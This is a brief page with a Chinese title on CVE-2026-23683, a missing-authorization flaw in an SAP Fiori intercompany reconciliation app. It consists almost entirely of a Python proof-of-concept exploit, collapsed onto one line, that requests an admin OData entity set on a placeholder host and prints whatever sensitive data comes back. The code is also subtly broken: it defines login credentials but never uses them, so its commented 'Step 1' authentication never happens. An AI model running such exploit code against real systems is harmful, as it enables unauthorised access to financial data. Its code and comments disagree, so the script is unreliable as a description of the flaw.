CVE-2026-23683：SAP Fiori App Intercompany Balance Reconciliation权限提升漏洞

# CVE-2026-23683 PoC - SAP Fiori Authorization Bypass # This PoC demonstrates the missing authorization check vulnerability # Requires authenticated user session with low privileges import requests import json TARGET_URL = "https://vulnerable-sap-system/sap/opu/odata/sap/" APP_NAME = "INTERCOMPANY_BALANCE_RECONCILIATION" def exploit_auth_bypass(): """ Exploit CVE-2026-23683: Missing Authorization Check Low privilege authenticated user can access admin functions """ # Setup session with low-privilege user credentials session = requests.Session() # Step 1: Authenticate as low-privilege user auth_payload = { "UserName": "low_priv_user", "Password": "user_password", "LogOnLanguage": "EN" } # Step 2: Access protected admin endpoint without proper authorization # The application fails to check if user has admin privileges headers = { "X-CSRF-Token": "fetch", "Accept": "application/json" } # Step 3: Read sensitive data that should require elevated privileges admin_endpoint = f"{TARGET_URL}{APP_NAME}/AdminEntitySet" response = session.get(admin_endpoint, headers=headers) if response.status_code == 200: print("[+] Authorization bypass successful!") print(f"[+] Retrieved sensitive data: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-23683 PoC - SAP Fiori Authorization Bypass") exploit_auth_bypass()